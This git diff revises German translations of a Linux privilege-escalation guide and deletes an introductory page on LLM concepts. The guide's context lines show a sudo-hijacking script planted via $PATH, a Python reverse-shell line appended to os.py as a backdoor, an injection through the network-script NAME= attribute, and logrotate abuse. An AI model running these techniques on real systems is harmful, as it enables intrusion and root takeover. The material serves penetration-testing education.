**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **interessante Informationen zu erhalten**, und wenn Sie eine Datei **schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
|
||||
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie **eine Datei schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -979,11 +979,11 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie eine Shell im Kontext dieses Benutzers erhalten haben, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
|
||||
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie haben eine Shell im Benutzerkontext erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
|
||||
|
||||
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie finden ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
|
||||
|
||||
Oder etwas wie:
|
||||
Oder etwas wie ausführen:
|
||||
```bash
|
||||
cat >/tmp/sudo <<EOF
|
||||
#!/bin/bash
|
||||
@ -1006,7 +1006,7 @@ Die Datei `/etc/ld.so.conf` gibt **an, woher die geladenen Konfigurationsdateien
|
||||
|
||||
Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen **Bibliotheken** **gesucht** werden. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken im Verzeichnis `/usr/local/lib` suchen wird**.
|
||||
|
||||
Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder einen Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
|
||||
Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, jede Datei innerhalb von `/etc/ld.so.conf.d/` oder jeden Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
|
||||
Schau dir an, **wie man diese Fehlkonfiguration ausnutzen kann** auf der folgenden Seite:
|
||||
|
||||
{{#ref}}
|
||||
@ -1048,7 +1048,7 @@ execve(file,argv,0);
|
||||
```
|
||||
## Fähigkeiten
|
||||
|
||||
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
|
||||
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird das gesamte Set von Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
|
||||
Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**:
|
||||
|
||||
{{#ref}}
|
||||
@ -1062,7 +1062,7 @@ Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** **auflisten**
|
||||
|
||||
## ACLs
|
||||
|
||||
Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine genauere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Geben** Sie dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei:
|
||||
```bash
|
||||
@ -1080,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
In **alten Versionen** können Sie **Shell**-Sitzungen eines anderen Benutzers (**root**) **übernehmen**.\
|
||||
In **neueren Versionen** können Sie nur zu Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
|
||||
|
||||
### Screen-Sitzungen übernehmen
|
||||
### Übernahme von Screen-Sitzungen
|
||||
|
||||
**Liste der Screen-Sitzungen**
|
||||
```bash
|
||||
@ -1130,7 +1130,7 @@ Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssysteme
|
||||
|
||||
- **PasswordAuthentication:** Gibt an, ob die Passwortauthentifizierung erlaubt ist. Der Standardwert ist `no`.
|
||||
- **PubkeyAuthentication:** Gibt an, ob die Authentifizierung mit öffentlichem Schlüssel erlaubt ist. Der Standardwert ist `yes`.
|
||||
- **PermitEmptyPasswords**: Wenn die Passwortauthentifizierung erlaubt ist, gibt an, ob der Server die Anmeldung bei Konten mit leeren Passwortzeichenfolgen erlaubt. Der Standardwert ist `no`.
|
||||
- **PermitEmptyPasswords**: Wenn die Passwortauthentifizierung erlaubt ist, gibt es an, ob der Server die Anmeldung bei Konten mit leeren Passwortzeichenfolgen erlaubt. Der Standardwert ist `no`.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
@ -1138,12 +1138,12 @@ Gibt an, ob root sich über SSH anmelden kann, der Standardwert ist `no`. Mögli
|
||||
|
||||
- `yes`: root kann sich mit Passwort und privatem Schlüssel anmelden
|
||||
- `without-password` oder `prohibit-password`: root kann sich nur mit einem privaten Schlüssel anmelden
|
||||
- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden und wenn die Befehlsoptionen angegeben sind
|
||||
- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden, wenn die Befehlsoptionen angegeben sind
|
||||
- `no` : nein
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Gibt Dateien an, die die öffentlichen Schlüssel enthalten, die für die Benutzerauthentifizierung verwendet werden können. Es kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers**. Zum Beispiel:
|
||||
Gibt Dateien an, die die öffentlichen Schlüssel enthalten, die für die Benutzerauthentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers** angeben. Zum Beispiel:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
@ -1160,8 +1160,8 @@ ForwardAgent yes
|
||||
```
|
||||
Beachten Sie, dass wenn `Host` `*` ist, der Benutzer jedes Mal, wenn er zu einer anderen Maschine wechselt, auf die Schlüssel zugreifen kann (was ein Sicherheitsproblem darstellt).
|
||||
|
||||
Die Datei `/etc/ssh_config` kann **diese Optionen überschreiben** und diese Konfiguration erlauben oder verweigern.\
|
||||
Die Datei `/etc/sshd_config` kann das ssh-agent-Forwarding mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben).
|
||||
Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verweigern.\
|
||||
Die Datei `/etc/sshd_config` kann das Weiterleiten des ssh-agents mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben).
|
||||
|
||||
Wenn Sie feststellen, dass das Forward Agent in einer Umgebung konfiguriert ist, lesen Sie die folgende Seite, da **Sie möglicherweise in der Lage sind, es auszunutzen, um Privilegien zu eskalieren**:
|
||||
|
||||
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
|
||||
|
||||
### Profil-Dateien
|
||||
|
||||
Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn Sie **eine von ihnen schreiben oder ändern können, können Sie Privilegien eskalieren**.
|
||||
Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher können Sie, wenn Sie **eine von ihnen schreiben oder ändern können, Privilegien eskalieren**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
@ -1235,7 +1235,7 @@ Die folgenden Ordner können Backups oder interessante Informationen enthalten:
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Seltsame Orte/Besitzdateien
|
||||
### Seltsame Orte/Besitzene Dateien
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
@ -1252,7 +1252,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
|
||||
done
|
||||
done
|
||||
```
|
||||
### Modifizierte Dateien in den letzten Minuten
|
||||
### Geänderte Dateien in den letzten Minuten
|
||||
```bash
|
||||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
|
||||
```
|
||||
@ -1297,7 +1297,7 @@ Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **Audit-Prot
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
Um **Protokolle zu lesen, wird die Gruppe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich sein.
|
||||
Um **Protokolle zu lesen, wird die Gruppe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) wirklich hilfreich sein.
|
||||
|
||||
### Shell-Dateien
|
||||
```bash
|
||||
@ -1319,7 +1319,7 @@ Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessie
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
|
||||
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und mit einem Backdoor versehen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
|
||||
|
||||
Um **die Bibliothek zu backdooren**, fügen Sie einfach am Ende der os.py-Bibliothek die folgende Zeile hinzu (ändern Sie IP und PORT):
|
||||
```python
|
||||
@ -1329,7 +1329,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibberechtigungen** für eine Protokolldatei oder deren übergeordnete Verzeichnisse, potenziell erhöhte Berechtigungen zu erlangen. Dies liegt daran, dass `logrotate`, das oft als **root** ausgeführt wird, manipuliert werden kann, um beliebige Dateien auszuführen, insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu überprüfen, sondern auch in jedem Verzeichnis, in dem die Protokollrotation angewendet wird.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und älter.
|
||||
|
||||
Detailliertere Informationen über die Schwachstelle finden Sie auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
|
||||
@ -1344,7 +1344,7 @@ Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedeta
|
||||
|
||||
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript in _/etc/sysconfig/network-scripts_ **oder** ein bestehendes Skript **anzupassen**, dann ist Ihr **System kompromittiert**.
|
||||
|
||||
Netzwerkskripte, wie _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
|
||||
Netzwerkskripte, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
|
||||
|
||||
In meinem Fall wird das `NAME=`-Attribut in diesen Netzwerkskripten nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**.
|
||||
|
||||
@ -1358,9 +1358,9 @@ DEVICE=eth0
|
||||
|
||||
Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init (SysVinit), dem **klassischen Linux-Dienstverwaltungssystem**. Es enthält Skripte zum `starten`, `stoppen`, `neustarten` und manchmal `neu laden` von Diensten. Diese können direkt oder über symbolische Links in `/etc/rc?.d/` ausgeführt werden. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`.
|
||||
|
||||
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Aufgaben der Dienstverwaltung verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
|
||||
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
|
||||
|
||||
**systemd** tritt als moderner Initialisierungs- und Dienstmanager auf und bietet fortschrittliche Funktionen wie das Starten von Daemons nach Bedarf, Automount-Management und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
|
||||
**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
|
||||
|
||||
## Weitere Tricks
|
||||
|
||||
|
||||
@ -1,285 +0,0 @@
|
||||
# 0. Grundlegende LLM-Konzepte
|
||||
|
||||
## Vortraining
|
||||
|
||||
Vortraining ist die grundlegende Phase bei der Entwicklung eines großen Sprachmodells (LLM), in der das Modell einer Vielzahl und Vielfalt von Textdaten ausgesetzt wird. In dieser Phase **lernt das LLM die grundlegenden Strukturen, Muster und Nuancen der Sprache**, einschließlich Grammatik, Wortschatz, Syntax und kontextueller Beziehungen. Durch die Verarbeitung dieser umfangreichen Daten erwirbt das Modell ein breites Verständnis der Sprache und des allgemeinen Weltwissens. Diese umfassende Basis ermöglicht es dem LLM, kohärente und kontextuell relevante Texte zu generieren. Anschließend kann dieses vortrainierte Modell einer Feinabstimmung unterzogen werden, bei der es weiter auf spezialisierten Datensätzen trainiert wird, um seine Fähigkeiten für spezifische Aufgaben oder Bereiche anzupassen und seine Leistung und Relevanz in gezielten Anwendungen zu verbessern.
|
||||
|
||||
## Hauptkomponenten von LLM
|
||||
|
||||
Ein LLM wird normalerweise durch die Konfiguration charakterisiert, die zu seiner Ausbildung verwendet wird. Dies sind die gängigen Komponenten beim Training eines LLM:
|
||||
|
||||
- **Parameter**: Parameter sind die **lernbaren Gewichte und Verzerrungen** im neuronalen Netzwerk. Dies sind die Zahlen, die der Trainingsprozess anpasst, um die Verlustfunktion zu minimieren und die Leistung des Modells bei der Aufgabe zu verbessern. LLMs verwenden normalerweise Millionen von Parametern.
|
||||
- **Kontextlänge**: Dies ist die maximale Länge jedes Satzes, der zum Vortraining des LLM verwendet wird.
|
||||
- **Einbettungsdimension**: Die Größe des Vektors, der verwendet wird, um jedes Token oder Wort darzustellen. LLMs verwenden normalerweise Milliarden von Dimensionen.
|
||||
- **Verborgene Dimension**: Die Größe der verborgenen Schichten im neuronalen Netzwerk.
|
||||
- **Anzahl der Schichten (Tiefe)**: Wie viele Schichten das Modell hat. LLMs verwenden normalerweise Dutzende von Schichten.
|
||||
- **Anzahl der Aufmerksamkeitsköpfe**: In Transformermodellen ist dies, wie viele separate Aufmerksamkeitsmechanismen in jeder Schicht verwendet werden. LLMs verwenden normalerweise Dutzende von Köpfen.
|
||||
- **Dropout**: Dropout ist etwas wie der Prozentsatz der Daten, der entfernt wird (Wahrscheinlichkeiten werden auf 0 gesetzt) während des Trainings, um **Überanpassung zu verhindern.** LLMs verwenden normalerweise zwischen 0-20%.
|
||||
|
||||
Konfiguration des GPT-2-Modells:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
"context_length": 1024, // Context length
|
||||
"emb_dim": 768, // Embedding dimension
|
||||
"n_heads": 12, // Number of attention heads
|
||||
"n_layers": 12, // Number of layers
|
||||
"drop_rate": 0.1, // Dropout rate: 10%
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tensors in PyTorch
|
||||
|
||||
In PyTorch ist ein **Tensor** eine grundlegende Datenstruktur, die als mehrdimensionales Array dient und Konzepte wie Skalare, Vektoren und Matrizen auf potenziell höhere Dimensionen verallgemeinert. Tensoren sind die primäre Art und Weise, wie Daten in PyTorch dargestellt und manipuliert werden, insbesondere im Kontext von Deep Learning und neuronalen Netzwerken.
|
||||
|
||||
### Mathematisches Konzept der Tensoren
|
||||
|
||||
- **Skalare**: Tensoren der Rang 0, die eine einzelne Zahl darstellen (nulldimensional). Wie: 5
|
||||
- **Vektoren**: Tensoren der Rang 1, die ein eindimensionales Array von Zahlen darstellen. Wie: \[5,1]
|
||||
- **Matrizen**: Tensoren der Rang 2, die zweidimensionale Arrays mit Zeilen und Spalten darstellen. Wie: \[\[1,3], \[5,2]]
|
||||
- **Tensoren höheren Rangs**: Tensoren der Rang 3 oder mehr, die Daten in höheren Dimensionen darstellen (z.B. 3D-Tensoren für Farbbilder).
|
||||
|
||||
### Tensoren als Datencontainer
|
||||
|
||||
Aus computationaler Sicht fungieren Tensoren als Container für mehrdimensionale Daten, wobei jede Dimension unterschiedliche Merkmale oder Aspekte der Daten darstellen kann. Dies macht Tensoren besonders geeignet für die Verarbeitung komplexer Datensätze in Machine Learning-Aufgaben.
|
||||
|
||||
### PyTorch-Tensoren vs. NumPy-Arrays
|
||||
|
||||
Während PyTorch-Tensoren NumPy-Arrays in ihrer Fähigkeit ähneln, numerische Daten zu speichern und zu manipulieren, bieten sie zusätzliche Funktionalitäten, die für Deep Learning entscheidend sind:
|
||||
|
||||
- **Automatische Differenzierung**: PyTorch-Tensoren unterstützen die automatische Berechnung von Gradienten (autograd), was den Prozess der Berechnung von Ableitungen vereinfacht, die für das Training neuronaler Netzwerke erforderlich sind.
|
||||
- **GPU-Beschleunigung**: Tensoren in PyTorch können auf GPUs verschoben und dort berechnet werden, was großangelegte Berechnungen erheblich beschleunigt.
|
||||
|
||||
### Erstellen von Tensoren in PyTorch
|
||||
|
||||
Sie können Tensoren mit der Funktion `torch.tensor` erstellen:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
# Scalar (0D tensor)
|
||||
tensor0d = torch.tensor(1)
|
||||
|
||||
# Vector (1D tensor)
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
|
||||
# Matrix (2D tensor)
|
||||
tensor2d = torch.tensor([[1, 2],
|
||||
[3, 4]])
|
||||
|
||||
# 3D Tensor
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Tensor-Datentypen
|
||||
|
||||
PyTorch-Tensoren können Daten verschiedener Typen speichern, wie z.B. Ganzzahlen und Fließkommazahlen.
|
||||
|
||||
Sie können den Datentyp eines Tensors mit dem Attribut `.dtype` überprüfen:
|
||||
```python
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
- Tensors, die aus Python-Ganzzahlen erstellt werden, sind vom Typ `torch.int64`.
|
||||
- Tensors, die aus Python-Fließkommazahlen erstellt werden, sind vom Typ `torch.float32`.
|
||||
|
||||
Um den Datentyp eines Tensors zu ändern, verwenden Sie die Methode `.to()`:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### Häufige Tensoroperationen
|
||||
|
||||
PyTorch bietet eine Vielzahl von Operationen zur Manipulation von Tensors:
|
||||
|
||||
- **Zugriff auf die Form**: Verwenden Sie `.shape`, um die Dimensionen eines Tensors zu erhalten.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Ausgabe: torch.Size([2, 2])
|
||||
```
|
||||
|
||||
- **Umformen von Tensors**: Verwenden Sie `.reshape()` oder `.view()`, um die Form zu ändern.
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
|
||||
- **Transponieren von Tensors**: Verwenden Sie `.T`, um einen 2D-Tensor zu transponieren.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
|
||||
- **Matrixmultiplikation**: Verwenden Sie `.matmul()` oder den `@`-Operator.
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### Bedeutung im Deep Learning
|
||||
|
||||
Tensors sind in PyTorch unerlässlich für den Aufbau und das Training von neuronalen Netzwerken:
|
||||
|
||||
- Sie speichern Eingabedaten, Gewichte und Bias.
|
||||
- Sie erleichtern die für Vorwärts- und Rückwärtsdurchläufe in Trainingsalgorithmen erforderlichen Operationen.
|
||||
- Mit Autograd ermöglichen Tensors die automatische Berechnung von Gradienten, was den Optimierungsprozess vereinfacht.
|
||||
|
||||
## Automatische Differenzierung
|
||||
|
||||
Automatische Differenzierung (AD) ist eine rechnerische Technik, die verwendet wird, um **die Ableitungen (Gradienten)** von Funktionen effizient und genau zu bewerten. Im Kontext von neuronalen Netzwerken ermöglicht AD die Berechnung der für **Optimierungsalgorithmen wie den Gradientenabstieg** erforderlichen Gradienten. PyTorch bietet eine automatische Differenzierungs-Engine namens **autograd**, die diesen Prozess vereinfacht.
|
||||
|
||||
### Mathematische Erklärung der automatischen Differenzierung
|
||||
|
||||
**1. Die Kettenregel**
|
||||
|
||||
Im Kern der automatischen Differenzierung steht die **Kettenregel** aus der Analysis. Die Kettenregel besagt, dass, wenn Sie eine Zusammensetzung von Funktionen haben, die Ableitung der zusammengesetzten Funktion das Produkt der Ableitungen der zusammengesetzten Funktionen ist.
|
||||
|
||||
Mathematisch, wenn `y=f(u)` und `u=g(x)`, dann ist die Ableitung von `y` bezüglich `x`:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Rechengraph**
|
||||
|
||||
In AD werden Berechnungen als Knoten in einem **Rechengraphen** dargestellt, wobei jeder Knoten einer Operation oder einer Variablen entspricht. Durch das Durchlaufen dieses Graphen können wir Ableitungen effizient berechnen.
|
||||
|
||||
3. Beispiel
|
||||
|
||||
Betrachten wir eine einfache Funktion:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wo:
|
||||
|
||||
- `σ(z)` die Sigmoidfunktion ist.
|
||||
- `y=1.0` das Ziel-Label ist.
|
||||
- `L` der Verlust ist.
|
||||
|
||||
Wir möchten den Gradienten des Verlusts `L` bezüglich des Gewichts `w` und des Bias `b` berechnen.
|
||||
|
||||
**4. Manuelle Berechnung der Gradienten**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. Numerische Berechnung**
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Implementierung der automatischen Differenzierung in PyTorch
|
||||
|
||||
Jetzt sehen wir, wie PyTorch diesen Prozess automatisiert.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
|
||||
# Define input and target
|
||||
x = torch.tensor([1.1])
|
||||
y = torch.tensor([1.0])
|
||||
|
||||
# Initialize weights with requires_grad=True to track computations
|
||||
w = torch.tensor([2.2], requires_grad=True)
|
||||
b = torch.tensor([0.0], requires_grad=True)
|
||||
|
||||
# Forward pass
|
||||
z = x * w + b
|
||||
a = torch.sigmoid(z)
|
||||
loss = F.binary_cross_entropy(a, y)
|
||||
|
||||
# Backward pass
|
||||
loss.backward()
|
||||
|
||||
# Gradients
|
||||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Ausgabe:**
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Backpropagation in Größeren Neuronalen Netzwerken
|
||||
|
||||
### **1. Erweiterung auf Mehrschichtige Netzwerke**
|
||||
|
||||
In größeren neuronalen Netzwerken mit mehreren Schichten wird der Prozess der Berechnung von Gradienten aufgrund der erhöhten Anzahl von Parametern und Operationen komplexer. Die grundlegenden Prinzipien bleiben jedoch gleich:
|
||||
|
||||
- **Forward Pass:** Berechne die Ausgabe des Netzwerks, indem du Eingaben durch jede Schicht leitest.
|
||||
- **Compute Loss:** Bewerte die Verlustfunktion unter Verwendung der Ausgabe des Netzwerks und der Zielbeschriftungen.
|
||||
- **Backward Pass (Backpropagation):** Berechne die Gradienten des Verlusts in Bezug auf jeden Parameter im Netzwerk, indem du die Kettenregel rekursiv von der Ausgabeschicht zurück zur Eingabeschicht anwendest.
|
||||
|
||||
### **2. Backpropagation-Algorithmus**
|
||||
|
||||
- **Schritt 1:** Initialisiere die Netzwerkparameter (Gewichte und Biases).
|
||||
- **Schritt 2:** Führe für jedes Trainingsbeispiel einen Forward Pass durch, um die Ausgaben zu berechnen.
|
||||
- **Schritt 3:** Berechne den Verlust.
|
||||
- **Schritt 4:** Berechne die Gradienten des Verlusts in Bezug auf jeden Parameter unter Verwendung der Kettenregel.
|
||||
